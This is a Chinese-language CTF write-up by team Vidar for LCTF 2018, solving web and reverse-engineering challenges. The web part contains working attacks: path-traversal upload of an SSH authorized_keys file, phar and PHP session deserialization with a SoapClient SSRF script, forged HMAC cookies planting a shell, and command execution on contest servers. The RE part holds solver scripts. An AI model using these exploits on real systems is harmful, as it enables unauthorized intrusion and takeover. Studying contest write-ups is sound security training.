LCTF 2018 Writeup -- Vidar
ckj123 CTF 9646浏览 · 2018-11-19 15:36

by Vidar-Team

Team:http://vidar.club


[TOC]


WEB

Travel

源码

# -*- coding: utf-8 -*-
from flask import request, render_template
from config import create_app
import os
import urllib
import requests
import uuid 

app = create_app()


@app.route('/upload/', methods=['PUT'])
def upload_file(filename):
    name = request.cookies.get('name')
    pwd = request.cookies.get('pwd')
    if name != 'lctf' and pwd != str(uuid.getnode()):
        return "0"
    filename = urllib.unquote(filename)
    with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), 'w') as f:
        f.write(request.get_data(as_text=True))
        return "1"
    return "0"


@app.route('/', methods=['GET'])
    def index(): 
        url = request.args.get('url', '')
        if url == '':
            return render_template('index.html')
        if "http" != url[: 4]:
            return "hacker"
        try:
            response = requests.get(url, timeout=10)
            response.encoding = 'utf-8'
            return response.text
        except:
            return "Something Error"


@app.route('/source', methods=['GET'])
    def get_source():
        return open(__file__).read()

if __name__ == '__main__':
    app.run()

使用X-HTTP-Method-Override: PUT就可以上传文件了

https://cloud.tencent.com/document/product/215/20109
腾讯云文档中可以看到怎么获得mac地址

这能拿到mac地址
http://118.25.150.86/?url=http://metadata.tencentyun.com/latest/meta-data/mac

传.ssh

curl -X GET -H "X-HTTP-Method-Override: PUT" -H "Cookie: name=lctf;pwd=90520735500403" "http://118.25.150.86/upload/..%252f..%252f..%252f..%252f..%252f..%252fhome%252flctf%252f.ssh%252fauthorized_keys" -F "authorized_keys=ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMecVVKChtdzTHnJ5+6+gdcspJ2zyTNlw9fEp6xJOPKB1MA+hthPdb0BQkIKpSSknALLJYe0Ro7RIfzXxmzsWneD8Iq9xbl3G65v7QlzMujgNPARQTvqf0CE5DvSEn13PM9yMNLw+3w8ZLSmtyAvfXl4rN8vUoBaxlVVawMGoZc82jQJOmua7sDpJ+Qt0W5KrDf2TCwP2HR93Z83Qzc5AhVlkC8YGPxW0b2es9toftJ1REAoSz14hGvqZWM0V8eEUmpE8ohXce50RhLnxJc8/jVcqLCvFYPqEJfFzwaeFMCfi5FEVLmIgA2DtSYtige/Zvm7MqAdwHh+i28S9yL/Jl linzhexi_7@foxmail.com"

flag在/app/flag下

T4lk 1s ch34p,sh0w m3 the sh31l

http://212.64.7.171/LCTF.php

先上传再phar反序列化

可能是非预期,但绕过了头限制,安全客的文章可以通过协议传导compress.zlib://phar://这种方式来执行phar

在check的地方phar反序列化

http://212.64.7.171/LCTF.php?m=upload&url=http://94.191.97.184/phar.phar?a=

view-source:http://212.64.7.171/LCTF.php?ddog=ls%20etc/gtk-2.0/&m=check&c=compress.zlib://phar://../data/91200e7711b3ad7115ad4860a404d335/avatar.gif

看进程里他们都在sh -c grep -ir "lctf" > /tmp/xxx

直接看tmp目录下就行了

bestphp's revenge

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

可以通过extract把b给改了

http://172.81.210.82/flag.php

反序列化+ssrf

SoapClient 之前N1CTF有过

php session的反序列化

session_start可以设置,直接可以传数组

session_start 序列化一个soap访问flag.php,然后$b替换成call_user_func,在var_dump出错误信息,得到session_id,替换下就可以了

import requests
import re
url = "http://172.81.210.82/"

payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'

r = requests.session()
data = {'serialize_handler' : 'php_serialize'}
url1 = url+"?f=session_start&name="+payload
html = r.post(url1, data=data).text

data = {'b' : "call_user_func"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text

data = {'b' : "var_dump"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text

rs = re.findall(r'string\(26\) "(.*?)"', html)

url2 = url
cookie = {"Cookie":"PHPSESSID="+rs[0]}
html = r.post(url2,headers = cookie).text
print html

sh0w m3 the sh31l 4ga1n

继续非预期 神奇的发现第二题的$SECRET==NULL 直接伪造反序列化结束
php伪造脚本

<?php
class K0rz3n_secret_flag { 
    protected $file_path="/var/www/file/48915dedf3ce9ddc70aeefe2a42006a4/avatar.gif"; 
    function __destruct(){ 
        if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){ 
            die("Sorry Sorry Sorry"); 
        } 
    // include_once($this->file_path); 
 } 
} 

class User { 
    public $avatar; 
    function __construct($path) { 
        $this->avatar = $path;                                           
    } 
} 

$data = serialize(new K0rz3n_secret_flag());
$hmac = hash_hmac("md5", $data, NULL); 
print_r(urlencode(sprintf("%s-----%s", $data, $hmac)));  

$data = serialize(new User("../file/48915dedf3ce9ddc70aeefe2a42006a4"));
$hmac = hash_hmac("md5", $data, NULL); 
print_r(urlencode(sprintf("%s-----%s", $data, $hmac)));

传shell

GET /LCTF.php?m=upload&url=http://test.tan90.me HTTP/1.1
Host: 212.64.74.153
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: session-data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A6%3A%22avatar%22%3Bs%3A40%3A%22..%2Ffile%2F48915dedf3ce9ddc70aeefe2a42006a4%22%3B%7D-----01d76466746e56bfe3e9558529df2709
Connection: close

执行命令

GET /LCTF.php?m=upload&url=http://test.tan90.me&cmd=ls%20-al%20/tmp HTTP/1.1
Host: 212.64.74.153
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: session-data=O%3A18%3A%22K0rz3n_secret_flag%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00file_path%22%3Bs%3A57%3A%22%2Fvar%2Fwww%2Ffile%2F48915dedf3ce9ddc70aeefe2a42006a4%2Favatar.gif%22%3B%7D-----7b954f00dc02cd915b1c3d4872112634
Connection: close

flag在哪

view-source:http://212.64.74.153/LCTF.php?m=upload&url=http://test.tan90.me&cmd=cat%20/etc/gai.conf

L playground2

os.path.join
If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.

file://sandbox//var/www/project/playground/
file://sandbox//var/www/project/playground/__pycache__

main.cpython-37.pyc

from flask import Flask, escape, request, make_response, render_template
from session import *
from utils import *
from flag import FLAG
from parser import parse
app = Flask(__name__)

@app.route('/')
def index():
    user = request.cookies.get('user', '')
    try:
        username = session_decode(user)
    except Exception:
        username = get_username()
        content = escape(username)
    else:
        if username == 'admin':
            content = escape(FLAG)
        else:
            content = escape(username)

    resp = make_response(render_template('main.html', content=content))
    return resp


@app.route('/sandbox')
def render_static():
    if not check_token(request.args.get('token')):
        resp = make_response('invalid request')
    else:
        url = request.args.get('url')
        try:
            if url is None or url == '':
                content = 'no url input'
            else:
                content = parse(url)
            resp = make_response(content)
        except Exception:
            resp = make_response('url error')

        resp.mimetype = 'text/plain'
        return resp


app.run(port=5000)

utils.py

import random, string, base64, datetime
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key = b'lctf2018lctf2018'
block_size = 16

def random_str(length=5):
    random.seed(None)
    return ''.join((random.choice(string.ascii_letters + string.digits) for _ in range(length)))


def get_username():
    username = random_str(length=5)
    if username != 'admin':
        return username
    else:
        return get_username()


def check_token(token):
    if token == '' or token is None:
        return False
        try:
            token = str.replace(token, ' ', '+')
            token = base64.b64decode(token)
            cipher = AES.new(key, AES.MODE_ECB)
            token = cipher.decrypt(token)
            token = unpad(token, block_size)
            token = str(token, 'utf-8')
        except Exception as e:
            try:
                return False
            finally:
                e = None
                del e

        token = str.split(token, '@')
        if len(token) != 4:
            return False
            try:
                w = int(token[0])
                h = int(token[1])
                ua = token[2]
                ts = datetime.datetime.fromtimestamp(int(token[3][:-3]))
            except Exception as e:
                try:
                    return False
                finally:
                    e = None
                    del e

            if w < 100 or h < 100:
                return False
            if 'urllib' in ua or 'requests' in ua or 'PhantomJS' in ua or 'Python' in ua or 'Scrapy' in ua or 'curl' in ua or 'Wget' in ua:
                return False
            now = datetime.datetime.now()
            if ts < now + (datetime.timedelta(minutes=3)):
                if ts > now - (datetime.timedelta(minutes=3)):
                    return True
                return False

session.py

import base64
from hash import MDA
from flag import seed

def encode(info):
    return str(base64.b32encode(bytes(info, 'utf-8')), 'utf-8')


def decode(info):
    return str(base64.b32decode(bytes(info, 'utf-8')), 'utf-8')


def hash_encode(info):
    md = MDA(seed)
    return md.grouping(info)


def hash_verify(hash_info, info):
    return hash_encode(info) == hash_info


def session_encode(info):
    return '%s.%s' % (encode(info), hash_encode(info))


def session_decode(info):
    info_list = str.split(info, '.')
    if len(info_list) != 2:
        raise Exception('error info')
    info_ = decode(info_list[0])
    if not hash_verify(info_list[1], info_):
        raise Exception('hash wrong')
    return info_

hash.py

# uncompyle6 version 3.2.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.0 (default, Oct  2 2018, 09:19:48)
# [Clang 9.0.0 (clang-900.0.39.2)]
# Embedded file name: hash.py
# Size of source mod 2**32: 4512 bytes
__metaclass__ = type
import random, struct

def _bytelist2long(list):
    imax = len(list) // 4
    hl = [0] * imax
    j = 0
    i = 0
    while i < imax:
        b0 = ord(list[j])
        b1 = ord(list[j + 1]) << 8
        b2 = ord(list[j + 2]) << 16
        b3 = ord(list[j + 3]) << 24
        hl[i] = b0 | b1 | b2 | b3
        i = i + 1
        j = j + 4

    return hl


def _rotateLeft(x, n):
    return x << n | x >> 32 - n


def F(x, y, z):
    return x & y | ~x & z


def G(x, y, z):
    return x & z | y & ~z


def H(x, y, z):
    return x ^ y ^ z


def I(x, y, z):
    return y ^ (x | ~z)


def XX(func, a, b, c, d, x, s, ac):
    res = 0
    res = res + a + func(b, c, d)
    res = res + x
    res = res + ac
    res = res & 65535
    res = _rotateLeft(res, s)
    res = res & 65535
    res = res + b
    return res & 65535


class MDA:

    def __init__(self, seed='lctf2018'):
        self.seed = seed
        self.init()

    def init(self):
        self.length = 0
        self.count = [0, 0]
        self.input = []
        random.seed(self.seed)
        self.A = random.randint(3326, 27529)
        self.B = random.randint(3326, 27529)
        self.C = random.randint(3326, 27529)
        self.D = random.randint(3326, 27529)

    def _transform(self, inp):
        a, b, c, d = A, B, C, D = (
         self.A, self.B, self.C, self.D)
        S11, S12, S13, S14 = (7, 12, 17, 22)
        a = XX(F, a, b, c, d, inp[0], S11, 42104)
        d = XX(F, d, a, b, c, inp[1], S12, 46934)
        c = XX(F, c, d, a, b, inp[2], S13, 28891)
        b = XX(F, b, c, d, a, inp[3], S14, 52974)
        S21, S22, S23, S24 = (5, 9, 14, 20)
        a = XX(G, a, b, c, d, inp[1], S21, 9570)
        b = XX(G, b, c, d, a, inp[0], S24, 51114)
        c = XX(G, c, d, a, b, inp[3], S23, 3463)
        d = XX(G, d, a, b, c, inp[2], S22, 41976)
        S31, S32, S33, S34 = (4, 11, 16, 23)
        a = XX(H, a, b, c, d, inp[1], S31, 59972)
        d = XX(H, d, a, b, c, inp[0], S32, 10234)
        c = XX(H, c, d, a, b, inp[3], S33, 12421)
        b = XX(H, b, c, d, a, inp[2], S34, 22117)
        S41, S42, S43, S44 = (6, 10, 15, 21)
        a = XX(I, a, b, c, d, inp[0], S41, 8772)
        d = XX(I, d, a, b, c, inp[3], S42, 52370)
        b = XX(I, b, c, d, a, inp[1], S44, 24017)
        c = XX(I, c, d, a, b, inp[2], S43, 53947)
        A = A + a & 32767
        B = B + b & 32767
        C = C + c & 32767
        D = D + d & 32767
        self.A, self.B, self.C, self.D = (
         A, B, C, D)

    def update(self, inBuf):
        leninBuf = len(inBuf)
        index = self.count[0] >> 3 & 15
        self.count[0] = self.count[0] + (leninBuf << 3)
        if self.count[0] < leninBuf << 3:
            self.count[1] = self.count[1] + 1
        self.count[1] = self.count[1] + (leninBuf >> 29)
        partLen = 16 - index
        if leninBuf >= partLen:
            self.input[index:] = list(inBuf[:partLen])
            self._transform(_bytelist2long(self.input))
            i = partLen
            while i + 15 < leninBuf:
                self._transform(_bytelist2long(list(inBuf[i:i + 16])))
                i = i + 16
            else:
                self.input = list(inBuf[i:leninBuf])

        else:
            i = 0
            self.input = self.input + list(inBuf)

    def insert(self, inBuf):
        self.init()
        self.update(inBuf)

    def digest(self):
        A = self.A
        B = self.B
        C = self.C
        D = self.D
        input = [] + self.input
        count = [] + self.count
        index = self.count[0] >> 3 & 15
        if index < 8:
            padLen = 8 - index
        else:
            padLen = 24 - index
        padding = ['\x80'] + ['\x00'] * 15
        self.update(padding[:padLen])
        bits = _bytelist2long(self.input[:8]) + count
        self._transform(bits)
        digest = struct.pack('<hhhh', self.A, self.B, self.C, self.D)
        self.A = A
        self.B = B
        self.C = C
        self.D = D
        self.input = input
        self.count = count
        return digest

    def hexdigest(self):
        return ''.join(['%02x' % ord(chr(c)) for c in self.digest()])

    def grouping(self, inBufGroup):
        hexdigest_group = ''
        for inBuf in inBufGroup:
            self.insert(inBuf)
            hexdigest_group += self.hexdigest()

        return hexdigest_group

parser.py

import re, os
http_schema = re.compile('https?')
url_parser = re.compile('(\\w+)://([\\w\\-@\\.:]+)/?([\\w/_\\-@&\\?\\.=%()]+)?(#[\\w\\-@&_\\?()/%]+)?')
base_dir = os.path.dirname(os.path.abspath(__file__))
sandbox_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'sandbox')

def parse_file(path):
    filename = os.path.join(sandbox_dir, path)
    if './' in filename or '..' in filename:
        return 'invalid content in url'
    elif not filename.startswith(base_dir):
        return 'url have to start with %s' % base_dir
    elif filename.endswith('py') or 'flag' in filename:
        return 'invalid content in filename'
    elif os.path.isdir(filename):
        file_list = os.listdir(filename)
        return ', '.join(file_list)
    elif os.path.isfile(filename):
        with open(filename, 'rb') as (f):
            content = f.read()
        return content
    else:
        return "can't find file"


def parse(url):
    fragments = url_parser.findall(url)
    if len(fragments) != 1 or len(fragments[0]) != 4:
        return 'invalid url'
    schema = fragments[0][0]
    host = fragments[0][1]
    path = fragments[0][2]
    if http_schema.match(schema):
        return "It's a valid http url"
    elif schema == 'file':
        if host != 'sandbox':
            return 'wrong file path'
        return parse_file(path)
    else:
        return 'unknown schema'

得解码出admin
cookie分两部分
前面用户名的base32结果的hash得和cookie的第二部分相同
hash算法用了一个未知的seed

OZJE25ZT.060dc00c4a7071436b042d0caf7bd64eee5bc0653257592acf254b2513653a38591487249d53c426
vRMw3

info = str(base64.b32decode(bytes(info, 'utf-8')), 'utf-8') #OZJE25ZT 
hash(info) == info2
# info2: 060dc00c4a7071436b042d0caf7bd64eee5bc0653257592acf254b2513653a38591487249d53c426

def hash_encode(info):
    md = MDA(seed)
    return md.grouping(info)

random.seed 不管是啥结果都会转成int
https://docs.python.org/3/library/random.html

grouping 完全就是单字节映射。。。

def grouping(self, inBufGroup):
        hexdigest_group = ''
        for inBuf in inBufGroup:
            self.insert(inBuf)
            hexdigest_group += self.hexdigest()
import requests
import base64
import time
lists = ['a','d','m','i','n']
h = ''
for x in lists:
    while 1:
        print 'try'
        headers = headers = {'User-Agent':'chrome'}
        r=requests.get('http://212.64.7.239/',headers)
        cookie = r.headers['Set-Cookie']
        cookie = cookie.split('=')[1]
        info_list = cookie.split('.')
        info = info_list[0]
        info2 = info_list[1]
        username = base64.b32decode(info)
        print username
        if x in username:
            idx = username.index(x)
            h += info2[idx*16:(idx+1)*16]
            print h
            break
print 'cookie: ' + base64.b32encode('admin') + '.' + h

RE

拿去签到吧朋友

首先在start函数内藏了一段smc 在sub_402870内调用了sub_40143f继续调用了sub_401451 将sub_408000修改了。这一段代码我是在跟'idaq.exe'这些反调的字符串时跟到的,对于最后解那段smc有帮助。

主函数还是经典的crackme,输入36个字符做判断。输入的字符构建了一个字典树,最后的检测分为两段,第一段做了一个先序遍历,将先序遍历的结果做一个DES加密(密钥为'fa1conn\x00')后再将加密后的的前36个字节做一个矩阵乘法,最后做一个先序遍历的字符对应在原输入串的位置的判断。所以只要解一个矩阵乘法,将DES解密就能拿到所有的字符,且知道前半段的顺序,脚本如下:

from Crypto.Cipher import DES
from z3 import *

solver = Solver()

flag = [Int('flag%d'%i) for i in range(36)]

a = [i for i in flag]

b = [23, 65, 24, 78, 43, 56, 59, 67, 21, 43, 45, 76, 23, 54, 76, 12, 65, 43, 89, 40, 32, 67, 73, 57, 23, 45, 31, 54, 31, 52, 13, 24, 54, 65, 34, 24]

c = [0 for i in range(36)]

d = [43666, 49158, 43029, 51488, 53397, 51921, 28676, 39740, 26785, 41665, 35675, 40629, 32311, 31394, 20373, 41796, 33452, 35840, 17195, 29175, 29485, 28278, 28833, 28468, 46181, 58369, 44855, 56018, 57225, 60666, 25981, 26680, 24526, 38780, 29172, 30110]


for i in range(6):
    for j in range(6):
        for k in range(6):
            c[i+6*j] = c[i+6*j] + a[6*j+k]*b[6*k+i] 
        solver.add(simplify(c[i+6*j]) == d[i+6*j])
if solver.check() == sat:
    m = solver.model()
    s = []
    for i in range(36):
        s.append(m[flag[i]].as_long())
    print(s)
else:
    print('error')

s += [0x73,0x3c,0xf5,0x7c]

obj = DES.new('fa1conn\x00',DES.MODE_ECB)
message2 = ''
for i in s:
    message2 += chr(i)
charList = obj.decrypt(message2)

listA = [0,1,14,12,17,18,19,27,28,2,15,20,31,29,30,16,13,5]
flag = ''
for i in listA:
    flag += charList[i]
print(flag)

这样就将前半段还原了,后半段的加密很类似,只是这次做了一个后序遍历,且在sub_4021de中做了对sub_401e79的smc,xor rand(),seed用的是所有字符的和。由于sub_401e79在start后已经被xor了一次,所以假如像我这样逆向从后往前逆的人会非常痛苦,直接爆破是肯定出不来的。最后是有一个后续遍历的字符对应在原输入串的位置的判断,且这里都是后半段的字符,所以这里解完就能拿到flag了。那段smc解完如下:

_DWORD *__usercall sub_401E8F@<eax>(int a1@<ebp>)
{
  _DWORD *result; // eax

  while ( *(_DWORD *)(a1 - 12) <= 35 )
  {
    for ( *(_DWORD *)(a1 - 16) = 0; *(_DWORD *)(a1 - 16) <= 6; *(_DWORD *)(a1 - 16) += 2 )
      array1[*(_DWORD *)(a1 - 12)] = *(_BYTE *)(*(_DWORD *)(a1 - 12) + 0x40B610) ^ (1 << (*(_BYTE *)(a1 - 16)
                                                                                        + *(_DWORD *)(a1 - 12) % 2));
    result = (_DWORD *)(a1 - 12);
    ++*result;
  }
  return result;
}

就是将后续遍历的值做一个xor,解开xor就能拿到后续遍历的字符串。poc如下

listA = [0x7C, 0x81, 0x61, 0x99, 0x67, 0x9B, 0x14, 0xEA, 0x68, 0x87, 0x10,0xEC, 0x16, 0xF9,0x7, 0xF2, 0x0F, 0xF3,0x3, 0xF4, 0x33, 0xCF,0x27, 0xC6, 0x26, 0xC3, 0x3D, 0xD0, 0x2C, 0xD2, 0x23, 0xDE,0x28, 0xD1,0x1, 0xE6]
flag = ''
for i in range(len(listA)):
    for j in range(4):
        listA[i] ^= (1 << ((j * 2) + (i % 2)))
    flag += chr(listA[i])

listB = [0x18,0x17,0x22,0x21,0x20,0x14,0x1a,0x15,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1e,0x1f,0x16,0x13,0x12,0x19,0xff,0xff,0xff,0xff,0xff,0xff,0x1d,0x1c,0x1b,0xff,0xff,0x23,0xff,0xff,0xff]
listC = [0] * 36
for i in range(len(listB)):
    if(listB[i] == 0xff):
        continue
    else:
        listC[listB[i]] = listA[i]
print(''.join(chr(i) for i in listC[18:]))

easy_VM

opcode = [149, 48, 0, 28, 151, 16, 155, 16, 158, 5, 148, 48, 153, 161, 9, 155, 50, 159, 4, 149, 0, 0, 1,0xa3,146, 0, 159, 1, 163, 149, 0, 0, 128, 149, 32, 0, 63, 149, 48, 0, 123, 149, 64, 0, 28, 151, 16, 141, 18, 139, 19, 143, 16, 152, 16, 153, 148, 64, 135, 64, 146, 64, 159, 1, 163, 138, 64, 161, 22, 163,146, 0, 159, 1, 163, 134, 0, 62, 134, 0, 26, 134, 0, 86, 134, 0, 13, 134, 0, 82, 134, 0, 19, 134, 0, 88, 134, 0, 90, 134, 0, 110, 134, 0, 92, 134, 0, 15, 134, 0, 90, 134, 0, 70, 134, 0, 7, 134, 0, 9, 134, 0, 82, 134, 0, 37, 134, 0, 92, 134, 0, 76, 134, 0, 10, 134, 0, 10, 134, 0, 86, 134, 0, 51, 134, 0, 64, 134, 0, 21, 134, 0, 7, 134, 0, 88, 134, 0, 15, 149, 0, 0, 0, 149, 48, 0, 28, 151, 16, 138, 32, 155, 18, 158, 1, 163, 153, 148, 48, 146, 48, 159, 5, 149, 0, 0, 1, 163, 161, 21, 163]
reg = ['eax','ebx','ecx','edx','edi']
i = 0
while(1):
    if(opcode[i] == 0x86):
        print(i,'push %d'%((opcode[i + 1] << 32) + opcode[i + 2]))
        i += 2
    elif(opcode[i] == 0x87):
        print(i,'push ' + reg[opcode[i + 1] >> 4])
        i += 1
    elif(opcode[i] == 0x88):
        print(i,'mov ' + reg[opcode[i + 1] >> 4] + ', %d'%opcode[i + 2])
        i += 1
    elif(opcode[i] == 0x89 or opcode[i] == 0x96):
        print(i,'mov ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x8a):
        print(i,'pop ' + reg[opcode[i + 1] >> 4])
        i += 1
    elif(opcode[i] == 0x8b):
        print(i,'add ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x8c):
        print(i,'sub ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x8d):
        print(i,'mul ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x8e):
        print(i,'div ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x8f):
        print(i,'mod ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x90):
        print(i,'xor ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x91):
        print(i,'and ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x92):
        print(i,'mov edi,' + reg[opcode[i + 1] >> 4])
        i += 1
    elif(opcode[i] == 0x93):
        print(i,'inc ' + reg[opcode[i + 1] >> 4])
        i += 1
    elif(opcode[i] == 0x94):
        print(i,'dec ' + reg[opcode[i + 1] >> 4])
        i += 1
    elif(opcode[i] == 0x95):
        print(i,'mov ' + reg[opcode[i + 1] >> 4] + ', %d'%((opcode[i + 2] << 32) + opcode[i + 3]))
        i += 3
    elif(opcode[i] == 0x97):
        print(i,'mov ' + reg[opcode[i + 1] >> 4] + ',' + 'input')
        i += 1
    elif(opcode[i] == 0x98):
        print(i,'mov ' + 'input' + ',' + reg[opcode[i + 1] >> 4])
        i += 1
    elif(opcode[i] == 0x99):
        print(i,'inc input')
    elif(opcode[i] == 0x9a):
        print(i,'add input,4')
    elif(opcode[i] == 0x9b):
        print(i,'cmp ' + reg[opcode[i + 1] >> 4] + ',' + reg[opcode[i + 1] & 0xf])
        i += 1
    elif(opcode[i] == 0x9c):
        print(i,'jl ' + '%d'%(i + opcode[i + 1] + 2))
        i += 1
    elif(opcode[i] == 0x9d or opcode[i] == 0x9f):
        print(i,'jg ' + '%d'%(i + opcode[i + 1] + 2))
        i += 1
    elif(opcode[i] == 0x9e):
        print(i,'je ' + '%d'%(i + opcode[i + 1] + 2))
        i += 1
    elif(opcode[i] == 0xa1):
        print(i,'jmp ' + '%d'%(i - opcode[i + 1]))
        i += 1
    elif(opcode[i] == 0xa3):
        print(i,'break')
    else:
        i += 1
    i += 1
listA = [62,26,86,13,82,19,88,90,110,92,15,90,70,7,9,82,37,92,76,10,10,86,51,64,21,7,88,15][::-1]
import string
flag = ''
#((input * 63) + 123) % 128
for i in range(len(listA)):
    for j in string.printable:
        if((ord(j) * 63 + 123) % 128) == listA[i]:
            flag += j
print(flag)

想起「 Lunatic Game 」

这道题是真签到题。
就是一个扫雷游戏,map每次都不一样,玩通游戏就给你flag。
考虑到flag都应该是相同的,那么做法其实就很多了,改跳转改ip都可以,但我第一次改ip是炸了的,又不想去看程序,
也怕中间又比较了点东西,就用x64dbg将地图dump了下来,完整扫了一遍雷,就拿到flag了~

想起「壶中的大银河 ~ Lunatic 」

sub_39D3 从虚表入手

8D30这个函数里会调用xor虚表,构造的时候就xor了0x35
用LCTF构造的时候就xor了0x35353535 -> yvas
0x10101010是在sub_8c98那边,两种构造方式

第一次到

v5 = g_0((__int64)&pcbc);
    (*(void (__fastcall **)(__int64, signed __int64))(*(_QWORD *)v5 + 0x10LL))(v5, 0x35LL);

PCBC->evwv
第一次到

v6 = g_0((__int64)&input);
    (*(void (__fastcall **)(__int64, signed __int64))(*(_QWORD *)v6 + 0x10LL))(v6, 0x31LL);

input aaaa->qqqq(这边input xor了0x10)
第一次到

v7 = g_0((__int64)&tmp);
    (*(void (__fastcall **)(__int64, signed __int64))(*(_QWORD *)v7 + 0x10LL))(v7, 0x34LL);

LCTF->yvas (构造xor了0x35)
第一个的vtable是xor
第二个是plus
第三个也是xor
最后做一个map

def encrypt(input_list):
    pcbc = 0x50434243
    out_list=[]
    for input in input_list:
        lctf = 0x4c435446
        tmp = lctf ^ 0x35353535 # construct
        input  = input ^ 0x10101010 # construct2
        print hex(input)[2:].decode('hex')
        pcbc ^= 0x35353535
        print hex(pcbc)[2:].decode('hex')
        input ^= 0x31313131 ^ 0x11111111
        print hex(input)[2:].decode('hex')
        tmp ^= 0x34343434
        input ^= pcbc
        print hex(input)[2:].decode('hex')
        tmp ^= input ^ 0x11111111
        print hex(tmp)[2:].decode('hex')
        out_list.append(tmp)
        pcbc = tmp
    return out_list

def decrypt(l):
    inp_list = []
    pcbc = 0x50434243
    for output in l:
        pcbc ^= 0x35353535
        input = output ^ pcbc ^ 0x7d726577 ^ 0x11111111
        inp_list.append(input)
        pcbc = output
    return inp_list

def hex2s(num):
    num = hex(num)
    num = num[2:]
    if num[-1] == 'L':
        num = num[:-1]
    if len(num) %2:
        num = '0'+num
    return num.decode('hex')

map='QWERTYUIOP!@#$%^'
f='IQURUEURYEU#WRTYIPUYRTI!WTYTE!WOR%Y$W#RPUEYQQ^EE'
s=''
for i in range(len(f)/2):
    idx1 = map.index(f[2*i])
    idx2 = map.index(f[2*i+1])
    k1 = bin(idx1)[2:].rjust(4,'0')
    k2 = bin(idx2)[2:].rjust(4,'0')
    print k2,k1
    s+=chr(int(k1+k2,2))

d=s
print d
lists=[]
for i in range(len(d)/4):
    lists.append(int(d[4*i:4*(i+1)].encode('hex'),16))

l = decrypt(lists)
l[-1] ^= 0x35353535
l[0] ^= 0x35353535
flag = ''
for x in l:
    flag += hex2s(x)

print flag

MSP430

给了接线图
ida没法直接丢进去。。。

http://www.ti.com/lit/ds/symlink/msp430g2553.pdf
http://www.ti.com/lit/ug/slau318g/slau318g.pdf
资料

http://mspgcc.sourceforge.net/manual/x223.html
inst set
看看processor

把machine type改成0,然后下面选MSP430

loader 有点问题,看个大概吧,
serial_init后keygen,然后加密flag?
加密应该是一个rc4

keygen:
and.b   #0C0h, &2Ah *(0x2a) &= 0xc0
bis.b   #3Fh, &2Fh *(0x2f) |= 0x3f
mov.b   &28h, R15 r15 = *(0x28)
mov.b   R15, R13  r13=r15
mov.w   R13, R14  r14=r13
rla.w   R14       r14*=2
add.w   R14, R13  r13 += r14
mov.b   R13, 4(R12) *(r12+4) = r13
mov.w   R15, R14    r14 = r15
rla.b   R14         r14.b*=2?
mov.b   R14, 5(R12) *(r12+5) = r14
mov.w   R15, R14    r14 = r15
and.b   #74h, R14   r14 &= 0x74
rla.b   R14         r14.b*=2
mov.b   R14, 6(R12) *(r12+6) = r14
add.b   #50h, R15   r15 += 0x50
mov.b   R15, 7(R12) *(r12+7) = r15
ret

r12是key,剩下4字节猜测是LCTF
.cinit:0000C3F8 .byte 30h ; 0
.cinit:0000C3F9 .byte 31h ; 1
.cinit:0000C3FA .byte 32h ; 2
.cinit:0000C3FB .byte 33h ; 3
.cinit:0000C3FC .byte 34h ; 4
.cinit:0000C3FD .byte 35h ; 5
.cinit:0000C3FE .byte 36h ; 6
.cinit:0000C3FF .byte 37h ; 7
.cinit:0000C400 .byte 38h ; 8
.cinit:0000C401 .byte 39h ; 9
.cinit:0000C402 .byte 61h ; a
.cinit:0000C403 .byte 62h ; b
.cinit:0000C404 .byte 63h ; c
.cinit:0000C405 .byte 64h ; d
.cinit:0000C406 .byte 65h ; e
.cinit:0000C407 .byte 66h ; f
.cinit:0000C408 .byte 4Ch ; L
.cinit:0000C409 .byte 43h ; C
.cinit:0000C40A .byte 54h ; T
